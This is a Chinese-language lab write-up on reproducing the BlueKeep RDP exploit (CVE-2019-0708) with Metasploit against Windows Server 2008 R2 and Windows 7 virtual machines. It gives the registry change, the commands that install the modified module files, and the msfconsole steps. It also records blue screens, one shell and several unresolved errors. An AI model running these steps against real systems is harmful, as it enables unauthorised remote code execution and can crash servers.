

参考链接:

<https://github.com/rapid7/metasploit-framework/pull/12283>

<http://blog.xkhh.cn/archives/535>

攻击系统: kali2019_x64_en-us

被攻击系统: 08_r2_std_zh-chs

要求: 08 r2 修改注册表值项 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Terminal Server\WinStations\RDP-Tcp\DisableCam 的值为 1

(参 考 链 接 中 给 出 的 08 r2 中 注 册 表 值 项 为 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Terminal\Server\WinStations\rdpwd\DisableCam, 但我的系统没有项 rdpwd, 而在项 RDP-Tcp 下有值项 DisableCam)

将如下 3 个文件替换 msf 中默认的文件

```
cp ./rdp.rb /usr/share/metasploit-framework/lib/msf/core/exploit/
```

```
cp ./rdp_scanner.rb /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/
```

(参考链接中给出的目录是 /usr/share/metasploit-framework/modules/auxiliary/scanner/, 我想应该是少写了 rdp/)

```
cp ./cve_2019_0708_bluekeep.rb /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/
```

将如下 1 个文件添加到 msf 中

```
cp ./cve_2019_0708_bluekeep_rce.rb /usr/share/metasploit-framework/modules/exploits/windows/rdp/
```

启动 msfconsole

```
search 0708
```

```
use windows/rdp/cve_2019_0708_bluekeep_rce
```

```
set RHOSTS 192.168.149.130
```

```
run
```

选择目标为 3 (vmware)

第一次没修改注册表, 系统蓝屏

第二次修改注册表后, 成功拿到 shell

第三次修改注册表后, 系统蓝屏

第四次修改注册表后, 报错 Connection reset by peer

结论, 08 r2 需要修改注册表, 而且利用不稳定

攻击系统: kali2019_x64_en-us

被攻击系统: win7_ult_x64_zh-chs

要求: 无

将如下 3 个文件替换 msf 中默认的文件

```
cp ./rdp.rb /usr/share/metasploit-framework/lib/msf/core/exploit/
```

```
cp ./rdp_scanner.rb /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/ (参考链接中给出的目录是/usr/share/metasploit-framework/modules/auxiliary/scanner/, 我想应该是少写了 rdp/)
```

```
cp ./cve_2019_0708_bluekeep.rb /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/
```

将如下 1 个文件添加到 msf 中

```
cp ./cve_2019_0708_bluekeep_rce.rb /usr/share/metasploit-framework/modules/exploits/windows/rdp/
```

启动 msfconsole

```
search 0708
```

```
use windows/rdp/cve_2019_0708_bluekeep_rce
```

```
set RHOSTS 192.168.149.130
```

```
run
```

选择目标为 3 (vmware)

第一次报错: Exploit failed: Msf::Exploit::Remote::RDP::RdpCommunicationError

第二次使用全新安装的 win7_ult_x64_zh-chs 后, 报错: Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by peer

结论: 目前不能复现

目前有一些报错仍不能解决:

0: Exploit aborted due to failure: bad-config: Set the most appropriate target manually

表示需要设置对应的目标

1: Exploit failed: NameError undefined local variable or method

需要额外修改三个文件

2: Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by peer

未知

3: Exploit aborted due to failure: not-vulnerable: Set ForceExploit to override

未知

4: Exploit failed: Msf::Exploit::Remote::RDP::RdpCommunicationError

未知